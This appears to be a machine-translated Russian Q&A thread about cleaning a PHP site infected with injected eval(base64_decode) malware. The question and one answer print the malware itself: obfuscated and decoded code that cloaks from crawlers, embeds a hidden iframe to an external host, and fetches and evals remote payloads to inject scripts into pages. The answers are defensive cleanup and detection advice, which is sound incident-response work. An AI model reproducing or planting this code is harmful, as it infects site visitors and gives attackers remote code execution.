Мой сайт (очень большой сайт сообщества) был недавно заражен вирусом. Каждый файл index.php
был изменен так, что открывающий php-тег этих файлов был изменен на следующую строку:
<?php eval(base64_decode('ZXJyb+PSAkZmlyc3RfZCAmJiAkbXlfaXAybG9uZyA8PSAkc2Vjb25kX2QpIHskYm90ID0gVFJVRTsgYnJlYWs7fQ0KfQ0KZm9yZWFjaCAoJHVzZXJfYWdlbnRfdG9fZmlsdGVyIGFzICRib3Rfc2lnbil7DQoJaWYgIChzdHJwb3MoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCAkYm90X3NpZ24pICE9PSBmYWxzZSl7JGJvdCA9IHRydWU7IGJyZWFrO30NCn0NCmlmICghJGJvdCkgew0KZWNobyAnPGRpdiBzdHlsZT0icG9zaXRpb246IGFic29sdXRlOyBsZWZ0OiAtMTk5OXB4OyB0b3A6IC0yOTk5cHg7Ij48aWZyYW1lIHNyYz0iaHR0cDovL2x6cXFhcmtsLmNvLmNjL1FRa0ZCd1FHRFFNR0J3WUFFa2NKQlFjRUFBY0RBQU1CQnc9PSIgd2lkdGg9IjIiIGhlaWdodD0iMiI+PC9pZnJhbWU+PC9kaXY+JzsNCn0='));
Когда я декодировал это, он создал следующий код PHP:
<?php error_reporting(0); $bot = FALSE ; $user_agent_to_filter = array('bot','spider','spyder','crawl','validator','slurp','docomo','yandex','mail.ru','alexa.com','postrank.com','htmldoc','webcollage','blogpulse.com','anonymouse.org','12345','httpclient','buzztracker.com','snoopy','feedtools','arianna.libero.it','internetseer.com','openacoon.de','rrrrrrrrr','magent','download master','drupal.org','vlc media player','vvrkimsjuwly l3ufmjrx','szn-image-resizer','bdbrandprotect.com','wordpress','rssreader','mybloglog api'); $stop_ips_masks = array( array("216.239.32.0","216.239.63.255"), array("64.68.80.0" ,"64.68.87.255" ), array("66.102.0.0", "66.102.15.255"), array("64.233.160.0","64.233.191.255"), array("66.249.64.0", "66.249.95.255"), array("72.14.192.0", "72.14.255.255"), array("209.85.128.0","209.85.255.255"), array("198.108.100.192","198.108.100.207"), array("173.194.0.0","173.194.255.255"), array("216.33.229.144","216.33.229.151"), array("216.33.229.160","216.33.229.167"), array("209.185.108.128","209.185.108.255"), array("216.109.75.80","216.109.75.95"), array("64.68.88.0","64.68.95.255"), array("64.68.64.64","64.68.64.127"), array("64.41.221.192","64.41.221.207"), array("74.125.0.0","74.125.255.255"), array("65.52.0.0","65.55.255.255"), array("74.6.0.0","74.6.255.255"), array("67.195.0.0","67.195.255.255"), array("72.30.0.0","72.30.255.255"), array("38.0.0.0","38.255.255.255") ); $my_ip2long = sprintf("%u",ip2long($_SERVER['REMOTE_ADDR'])); foreach ( $stop_ips_masks as $IPs ) { $first_d=sprintf("%u",ip2long($IPs[0])); $second_d=sprintf("%u",ip2long($IPs[1])); if ($my_ip2long >= $first_d && $my_ip2long <= $second_d) {$bot = TRUE; break;} } foreach ($user_agent_to_filter as $bot_sign){ if (strpos($_SERVER['HTTP_USER_AGENT'], $bot_sign) !== false){$bot = true; break;} } if (!$bot) { echo '<div style="position: absolute; left: -1999px; top: -2999px;"><iframe src="http://lzqqarkl.co.cc/QQkFBwQGDQMGBwYAEkcJBQcEAAcDAAMBBw==" width="2" height="2"></iframe></div>'; }
-<?php error_reporting(0); $bot = FALSE ; $user_agent_to_filter = array('bot','spider','spyder','crawl','validator','slurp','docomo','yandex','mail.ru','alexa.com','postrank.com','htmldoc','webcollage','blogpulse.com','anonymouse.org','12345','httpclient','buzztracker.com','snoopy','feedtools','arianna.libero.it','internetseer.com','openacoon.de','rrrrrrrrr','magent','download master','drupal.org','vlc media player','vvrkimsjuwly l3ufmjrx','szn-image-resizer','bdbrandprotect.com','wordpress','rssreader','mybloglog api'); $stop_ips_masks = array( array("216.239.32.0","216.239.63.255"), array("64.68.80.0" ,"64.68.87.255" ), array("66.102.0.0", "66.102.15.255"), array("64.233.160.0","64.233.191.255"), array("66.249.64.0", "66.249.95.255"), array("72.14.192.0", "72.14.255.255"), array("209.85.128.0","209.85.255.255"), array("198.108.100.192","198.108.100.207"), array("173.194.0.0","173.194.255.255"), array("216.33.229.144","216.33.229.151"), array("216.33.229.160","216.33.229.167"), array("209.185.108.128","209.185.108.255"), array("216.109.75.80","216.109.75.95"), array("64.68.88.0","64.68.95.255"), array("64.68.64.64","64.68.64.127"), array("64.41.221.192","64.41.221.207"), array("74.125.0.0","74.125.255.255"), array("65.52.0.0","65.55.255.255"), array("74.6.0.0","74.6.255.255"), array("67.195.0.0","67.195.255.255"), array("72.30.0.0","72.30.255.255"), array("38.0.0.0","38.255.255.255") ); $my_ip2long = sprintf("%u",ip2long($_SERVER['REMOTE_ADDR'])); foreach ( $stop_ips_masks as $IPs ) { $first_d=sprintf("%u",ip2long($IPs[0])); $second_d=sprintf("%u",ip2long($IPs[1])); if ($my_ip2long >= $first_d && $my_ip2long <= $second_d) {$bot = TRUE; break;} } foreach ($user_agent_to_filter as $bot_sign){ if (strpos($_SERVER['HTTP_USER_AGENT'], $bot_sign) !== false){$bot = true; break;} } if (!$bot) { echo '<div style="position: absolute; left: -1999px; top: -2999px;"><iframe src="http://lzqqarkl.co.cc/QQkFBwQGDQMGBwYAEkcJBQcEAAcDAAMBBw==" width="2" height="2"></iframe></div>'; }
-<?php error_reporting(0); $bot = FALSE ; $user_agent_to_filter = array('bot','spider','spyder','crawl','validator','slurp','docomo','yandex','mail.ru','alexa.com','postrank.com','htmldoc','webcollage','blogpulse.com','anonymouse.org','12345','httpclient','buzztracker.com','snoopy','feedtools','arianna.libero.it','internetseer.com','openacoon.de','rrrrrrrrr','magent','download master','drupal.org','vlc media player','vvrkimsjuwly l3ufmjrx','szn-image-resizer','bdbrandprotect.com','wordpress','rssreader','mybloglog api'); $stop_ips_masks = array( array("216.239.32.0","216.239.63.255"), array("64.68.80.0" ,"64.68.87.255" ), array("66.102.0.0", "66.102.15.255"), array("64.233.160.0","64.233.191.255"), array("66.249.64.0", "66.249.95.255"), array("72.14.192.0", "72.14.255.255"), array("209.85.128.0","209.85.255.255"), array("198.108.100.192","198.108.100.207"), array("173.194.0.0","173.194.255.255"), array("216.33.229.144","216.33.229.151"), array("216.33.229.160","216.33.229.167"), array("209.185.108.128","209.185.108.255"), array("216.109.75.80","216.109.75.95"), array("64.68.88.0","64.68.95.255"), array("64.68.64.64","64.68.64.127"), array("64.41.221.192","64.41.221.207"), array("74.125.0.0","74.125.255.255"), array("65.52.0.0","65.55.255.255"), array("74.6.0.0","74.6.255.255"), array("67.195.0.0","67.195.255.255"), array("72.30.0.0","72.30.255.255"), array("38.0.0.0","38.255.255.255") ); $my_ip2long = sprintf("%u",ip2long($_SERVER['REMOTE_ADDR'])); foreach ( $stop_ips_masks as $IPs ) { $first_d=sprintf("%u",ip2long($IPs[0])); $second_d=sprintf("%u",ip2long($IPs[1])); if ($my_ip2long >= $first_d && $my_ip2long <= $second_d) {$bot = TRUE; break;} } foreach ($user_agent_to_filter as $bot_sign){ if (strpos($_SERVER['HTTP_USER_AGENT'], $bot_sign) !== false){$bot = true; break;} } if (!$bot) { echo '<div style="position: absolute; left: -1999px; top: -2999px;"><iframe src="http://lzqqarkl.co.cc/QQkFBwQGDQMGBwYAEkcJBQcEAAcDAAMBBw==" width="2" height="2"></iframe></div>'; }
Я пробовал несколько вещей, чтобы очистить вирус, даже восстанавливая резервную копию, и файлы заражаются через несколько минут или часов. Так что, пожалуйста, помогите мне?
Что вы знаете об этом вирусе?
Есть ли известное отверстие безопасности, которое оно использует для установки и распространения?
Что на самом деле делает вышеуказанный PHP-код?
Что делает страница, которую он вкладывает в iframe?
И, конечно, что более важно: что я могу сделать, чтобы избавиться от него?
Пожалуйста, помогите, у нас почти не осталось идей и надежд 🙁
UPDATE1 Еще несколько деталей: странно: когда мы сначала проверили зараженные файлы. Они были изменены, но их модифицированное время в программе ftp показывало последний доступ в несколько дней, месяцев или даже лет назад в некоторых случаях! Как это вообще возможно? Это сводит меня с ума!
ОБНОВЛЕНИЕ 2 Я думаю, проблема возникла после того, как пользователь установил плагин в своей установке WordPress. После восстановления из резервной копии и полного удаления папки WordPress и связанной с ней db проблема исчезла. В настоящее время мы подписались на службу безопасности, и они расследуют эту проблему, чтобы убедиться, что взломать не удалось. Спасибо всем, кто ответил.
Шаги по восстановлению и лечению вашего сайта (при условии, что у вас есть хорошая резервная копия).
Вы должны в основном закрыть дверь на свой сайт, прежде чем выполнять свою коррекционную работу. Это предотвратит посещение посетителями вредоносного кода, просмотр сообщений об ошибках и т. Д. Просто хорошая практика.
Вы должны сделать это, поместив следующее в свой файл .htaccess в webroot. (Замените «!! ваш IP-адрес здесь!» С вашим собственным IP-адресом – см. http://icanhazip.com, если вы не знаете свой IP-адрес.)
order deny,allow deny from all allow from !!Your IP Address Here!!
Загрузите все в отдельную папку из ваших резервных копий. Это может занять некоторое время (в зависимости от размера вашего сайта, скорости соединения и т. Д.).
На компьютере с Windows вы можете использовать WinMerge – http://winmerge.org/ – он бесплатный и достаточно мощный. На машине MacOS просмотрите список возможных альтернатив из Alternative.to
Вы должны получить несколько разных результатов:
(ака «Почему мы не можем просто ладить?»)
Для одинаковых файлов никаких дополнительных действий не требуется. Для файлов, которые существуют только на одной стороне , посмотрите файл и выясните, являются ли они законными (например, пользовательские загрузки, которые должны быть там, дополнительные файлы, которые вы могли добавить, и т. Д.). Для файлов, которые являются разными , посмотрите файл ( утилита File Difference Utility может даже показать вам, какие строки были добавлены / изменены / удалены) и посмотрите, действительно ли версия сервера. Перезапишите (с резервной копией) любые файлы, содержащие вредоносный код.
Независимо от того, как это изменить ваши пароли FTP / cPanel или проанализировать использование внешних / неконтролируемых ресурсов (как вы говорите, вы выполняете много фэгсов, fopens и т. Д., Вы можете проверить передаваемые им параметры как это способ заставить скрипты вызывать вредоносный код) и т. д.
Воспользуйтесь возможностью быть единственным человеком, который смотрит на сайт, чтобы убедиться, что все по-прежнему работает, как и ожидалось, после исправления зараженных файлов и удаления вредоносных файлов.
Отмените изменения, сделанные в файле .htaccess на шаге 1. Следите внимательно. Следите за своими посетителями и журналами ошибок, чтобы узнать, пытается ли кто-либо запускать удаленные вредоносные файлы и т. Д.
Существует несколько решений, позволяющих выполнить автоматическую проверку на вашем хосте (используя задание CRON), которое будет обнаруживать и детализировать любые изменения, которые происходят. Некоторые из них немного подробные (вы получите электронное письмо для каждого измененного файла), но вы должны быть в состоянии адаптировать их к вашим потребностям:
Убедитесь, что у вас запланировано резервное копирование на вашем веб-сайте, сохраните несколько из них, поэтому у вас есть разные шаги, которые вы можете вернуться вовремя, если это необходимо. Например, если вы выполняете еженедельные резервные копии, вы можете сохранить следующее:
Они всегда облегчат жизнь, если у вас кто-то атакует ваш сайт чем-то более разрушительным, чем атака с инъекцией кода.
О, и убедитесь, что вы также создаете резервные копии своих баз данных – с большим количеством сайтов, основанных на CMS, с хорошими файлами, но если вы потеряете / повредите базу данных позади них, ну, резервные копии в основном бесполезны.
Во-первых, отключите свой сайт, пока не сможете понять, как он попал и как его исправить. Похоже, что это вредоносная программа для ваших клиентов.
Затем выполните поиск через ваши php-файлы для fgets, fopen, fputs, eval или system. Я рекомендую notepad ++ из-за его функции «Найти в файлах». Кроме того, убедитесь, что это единственное место, где ваш PHP был изменен. У вас есть автономная копия для сравнения?
Я страдал от той же взломанной работы. Мне также удалось расшифровать код, и, хотя у меня появился другой php-код, я начал с удаления вложенного PHP-текста, перейдя через каждый php-файл на сайте и удалив eval-вызов. Я все еще изучаю, как я его начал, но вот, как выглядела моя после дешифрования с этого сайта:
Чтобы декодировать зашифрованный php-скрипт в каждом файле php, используйте это: http://www.opinionatedgeek.com/dotnet/tools/base64decode/
И форматирование результата с помощью этого парня: http://beta.phpformatter.com/
Для очистки вам нужно удалить строку «eval» из верхней части каждого файла php и удалить папки .log из базовой папки веб-сайта.
Я нашел скрипт python, который я немного изменил, чтобы удалить троян в php-файлах, поэтому я отправлю его здесь для использования другими пользователями: источник кода из потока: замените ВСЕ экземпляры символа другим во всех файлах иерархически в дереве каталогов
import os import re import sys def try_to_replace(fname): if replace_extensions: return fname.lower().endswith(".php") return True def file_replace(fname, pat, s_after): # first, see if the pattern is even in the file. with open(fname) as f: if not any(re.search(pat, line) for line in f): return # pattern does not occur in file so we are done. # pattern is in the file, so perform replace operation. with open(fname) as f: out_fname = fname + ".tmp" out = open(out_fname, "w") for line in f: out.write(re.sub(pat, s_after, line)) out.close() os.rename(out_fname, fname) def mass_replace(dir_name, s_before, s_after): pat = re.compile(s_before) for dirpath, dirnames, filenames in os.walk(dir_name): for fname in filenames: if try_to_replace(fname): print "cleaning: " + fname fullname = os.path.join(dirpath, fname) file_replace(fullname, pat, s_after) if len(sys.argv) != 2: u = "Usage: rescue.py <dir_name>\n" sys.stderr.write(u) sys.exit(1) mass_replace(sys.argv[1], "eval\(base64_decode\([^.]*\)\);", "")
использовать тип
корневая папка python rescue.py
Это то, что пытался сделать злоумышленник:
<?php if (function_exists('ob_start') && !isset($_SERVER['mr_no'])) { $_SERVER['mr_no'] = 1; if (!function_exists('mrobh')) { function get_tds_777($url) { $content = ""; $content = @trycurl_777($url); if ($content !== false) return $content; $content = @tryfile_777($url); if ($content !== false) return $content; $content = @tryfopen_777($url); if ($content !== false) return $content; $content = @tryfsockopen_777($url); if ($content !== false) return $content; $content = @trysocket_777($url); if ($content !== false) return $content; return ''; } function trycurl_777($url) { if (function_exists('curl_init') === false) return false; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 5); curl_setopt($ch, CURLOPT_HEADER, 0); $result = curl_exec($ch); curl_close($ch); if ($result == "") return false; return $result; } function tryfile_777($url) { if (function_exists('file') === false) return false; $inc = @file($url); $buf = @implode('', $inc); if ($buf == "") return false; return $buf; } function tryfopen_777($url) { if (function_exists('fopen') === false) return false; $buf = ''; $f = @fopen($url, 'r'); if ($f) { while (!feof($f)) { $buf .= fread($f, 10000); } fclose($f); } else return false; if ($buf == "") return false; return $buf; } function tryfsockopen_777($url) { if (function_exists('fsockopen') === false) return false; $p = @parse_url($url); $host = $p['host']; $uri = $p['path'] . '?' . $p['query']; $f = @fsockopen($host, 80, $errno, $errstr, 30); if (!$f) return false; $request = "GET $uri HTTP/1.0\n"; $request .= "Host: $host\n\n"; fwrite($f, $request); $buf = ''; while (!feof($f)) { $buf .= fread($f, 10000); } fclose($f); if ($buf == "") return false; list($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10), $buf); return $buf; } function trysocket_777($url) { if (function_exists('socket_create') === false) return false; $p = @parse_url($url); $host = $p['host']; $uri = $p['path'] . '?' . $p['query']; $ip1 = @gethostbyname($host); $ip2 = @long2ip(@ip2long($ip1)); if ($ip1 != $ip2) return false; $sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if (!@socket_connect($sock, $ip1, 80)) { @socket_close($sock); return false; } $request = "GET $uri HTTP/1.0\n"; $request .= "Host: $host\n\n"; socket_write($sock, $request); $buf = ''; while ($t = socket_read($sock, 10000)) { $buf .= $t; } @socket_close($sock); if ($buf == "") return false; list($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10), $buf); return $buf; } function update_tds_file_777($tdsfile) { $actual1 = $_SERVER['s_a1']; $actual2 = $_SERVER['s_a2']; $val = get_tds_777($actual1); if ($val == "") $val = get_tds_777($actual2); $f = @fopen($tdsfile, "w"); if ($f) { @fwrite($f, $val); @fclose($f); } if (strstr($val, "
CODE
")) { list($val, $code) = explode("
CODE
", $val); eval(base64_decode($code)); } return $val; } function get_actual_tds_777() { $defaultdomain = $_SERVER['s_d1']; $dir = $_SERVER['s_p1']; $tdsfile = $dir . "log1.txt"; if (@file_exists($tdsfile)) { $mtime = @filemtime($tdsfile); $ctime = time() – $mtime; if ($ctime > $_SERVER['s_t1']) { $content = update_tds_file_777($tdsfile); } else { $content = @file_get_contents($tdsfile); } } else { $content = update_tds_file_777($tdsfile); } $tds = @explode("\n", $content); $c = @count($tds) + 0; $url = $defaultdomain; if ($c > 1) { $url = trim($tds[mt_rand(0, $c – 2)]); } return $url; } function is_mac_777($ua) { $mac = 0; if (stristr($ua, "mac") || stristr($ua, "safari")) if ((!stristr($ua, "windows")) && (!stristr($ua, "iphone"))) $mac = 1; return $mac; } function is_msie_777($ua) { $msie = 0; if (stristr($ua, "MSIE 6") || stristr($ua, "MSIE 7") || stristr($ua, "MSIE 8") || stristr($ua, "MSIE 9")) $msie = 1; return $msie; } function setup_globals_777() { $rz = $_SERVER["DOCUMENT_ROOT"] . "/.logs/"; $mz = "/tmp/"; if (!@is_dir($rz)) { @mkdir($rz); if (@is_dir($rz)) { $mz = $rz; } else { $rz = $_SERVER["SCRIPT_FILENAME"] . "/.logs/"; if (!@is_dir($rz)) { @mkdir($rz); if (@is_dir($rz)) { $mz = $rz; } } else { $mz = $rz; } } } else { $mz = $rz; } $bot = 0; $ua = $_SERVER['HTTP_USER_AGENT']; if (stristr($ua, "msnbot") || stristr($ua, "Yahoo")) $bot = 1; if (stristr($ua, "bingbot") || stristr($ua, "google")) $bot = 1; $msie = 0; if (is_msie_777($ua)) $msie = 1; $mac = 0; if (is_mac_777($ua)) $mac = 1; if (($msie == 0) && ($mac == 0)) $bot = 1; global $_SERVER; $_SERVER['s_p1'] = $mz; $_SERVER['s_b1'] = $bot; $_SERVER['s_t1'] = 1200; $_SERVER['s_d1'] = base64_decode('http://ens122zzzddazz.com/'); $d = '?d=' . urlencode($_SERVER["HTTP_HOST"]) . "&p=" . urlencode($_SERVER["PHP_SELF"]) . "&a=" . urlencode($_SERVER["HTTP_USER_AGENT"]); $_SERVER['s_a1'] = base64_decode('http://cooperjsutf8.ru/g_load.php&apos😉 . $d; $_SERVER['s_a2'] = base64_decode('http://nlinthewood.com/g_load.php&apos😉 . $d; $_SERVER['s_script'] = "nl.php?p=d"; } setup_globals_777(); if (!function_exists('gml_777')) { function gml_777() { $r_string_777 = ''; if ($_SERVER['s_b1'] == 0) $r_string_777 = '<script src="' . get_actual_tds_777() . $_SERVER['s_script'] . '"></script>'; return $r_string_777; } } if (!function_exists('gzdecodeit')) { function gzdecodeit($decode) { $t = @ord(@substr($decode, 3, 1)); $start = 10; $v = 0; if ($t & 4) { $str = @unpack('v', substr($decode, 10, 2)); $str = $str[1]; $start += 2 + $str; } if ($t & 8) { $start = @strpos($decode, chr(0), $start) + 1; } if ($t & 16) { $start = @strpos($decode, chr(0), $start) + 1; } if ($t & 2) { $start += 2; } $ret = @gzinflate(@substr($decode, $start)); if ($ret === FALSE) { $ret = $decode; } return $ret; } } function mrobh($content) { @Header('Content-Encoding: none'); $decoded_content = gzdecodeit($content); if (preg_match('/\<\/body/si', $decoded_content)) { return preg_replace('/(\<\/body[^\>]*\>)/si', gml_777() . "\n" . '$1', $decoded_content); } else { return $decoded_content . gml_777(); } } ob_start('mrobh'); } } ?>
Чтобы избавиться от этих вредоносных PHP, вам просто нужно их удалить. Если файл заражен, вам нужно удалить только часть, которая выглядит подозрительной.
Всегда сложно найти эти файлы, потому что, как правило, их много в вашем корне.
Обычно, если вы видите какие-то обфускации, это красное предупреждение для вас.
Большинство вредоносных программ легко найти на основе общих функций, которые они используют, в том числе:
base64_decode
, lzw_decompress
, eval
, Используя формат кодирования, они уплотняют их размер и затрудняют их декодирование неопытными пользователями.
Вот несколько команд grep
которые могут найти наиболее распространенный вредоносный код PHP:
grep -R return.*base64_decode . grep --include=\*.php -rn 'return.*base64_decode($v.\{6\})' .
Вы можете запускать эти команды на сервере или после синхронизации своего веб-сайта на своем локальном компьютере (через FTP, например, ncftpget -R
).
Или используйте инструменты сканирования, специально разработанные для поиска таких вредоносных файлов, см.: Сканеры безопасности PHP .
Для образовательных целей, пожалуйста, найдите следующую коллекцию сценариев эксплойта PHP, найденную при исследовании взломанных серверов, доступных в сценариях kenorb / php-exploit GitHub (под влиянием оригинальной коллекции @Mattias ). Это даст вам представление о том, как выглядят подозрительные файлы PHP, поэтому вы можете узнать, как их найти на своем сервере.
См. Также: Что делает этот вредоносный PHP-скрипт?
Убедитесь, что обновлены все популярные веб-приложения, такие как WordPress или vBulletin. Есть много эксплойтов со старыми версиями, которые могут привести к сбою вашего сервера, и это, вероятно, произойдет снова, если они не будут обновлены. Не использовать при продолжении, пока это не будет сделано.
Если файлы продолжают заменяться, тогда в фоновом режиме запускается руткит или троян. Этот файл не может реплицироваться. Сначала вам придется сначала избавиться от руткита. Попробуйте rkhunter , chkrootkit , и LMD . Сравните вывод ps aux
с защищенным сервером и проверьте /var/tmp
и /tmp
для подозрительных файлов. Возможно, вам придется переустановить ОС.
Убедитесь, что все рабочие станции, администрирующие сервер, обновлены и чисты. Не подключайтесь через небезопасные беспроводные соединения или используйте обычную текстовую аутентификацию, например, с FTP (вместо этого используйте SFTP). Только войдите в панели управления с https.
Чтобы это не происходило, снова запустите csf или сопоставимый брандмауэр, ежедневный просмотр LMD и оставайтесь в курсе последних обновлений безопасности для всех приложений на сервере.
Мои веб-сайты или веб-сайты, на которых я принимаю, несколько раз подвергались ударам с подобными атаками.
Представляю, что я сделал, чтобы решить проблему. Я не претендую на то, что это лучший / простой подход, но он работает, и с тех пор я могу упреждающе держать мяч в своей области.
решить проблему ASAP Я создал очень простой PHP-скрипт (он был написан, когда утюг был горячим, поэтому, возможно, это не самый оптимизированный код, но он решает проблему довольно быстро): http://www.ecommy.com/web-security / очистка PHP-файлы-из-Eval-инфекции
убедитесь, что вы знаете, когда что-то подобное снова появляется. Хакеры используют все виды аплоасов из SQL-инъекции одного из ваших внешних модулей, которые вы устанавливаете, чтобы перенаправить административную панель со словарными атаками или очень хорошо известные шаблоны паролей, такие как 1qaz … qwerty …. и т. Д. Я представляю скрипты здесь: http://www.ecommy.com/web-security/scan-for-malware-viruses-and-php-eval-based-infections
запись cron будет примерно такой: 0 2 * * 5 / root / scripts / base64eval_scan> / dev / null 2> & 1 &
Я обновил страницы, чтобы кто-то мог напрямую загрузить файлы. Надеюсь, он будет полезен для вас, как и для меня 🙂
Предполагая, что это сервер на базе Linux и у вас есть доступ к SSH, вы можете запустить это, чтобы удалить код нарушения:
find . -name "*.php" | xargs sed -i 's@eval[ \t]*([ \t]*base64_decode[ \t]*([ \t]*['"'"'"][A-Za-z0-9/_=+:!.-]\{1,\}['"'"'"][ \t]*)[ \t]*)[ \t]*;@@'
Это охватывает все известные реализации base64 и будет работать независимо от того, окружен ли текст base64 одиночными или двойными кавычками
EDIT: теперь работает с внутренними пробелами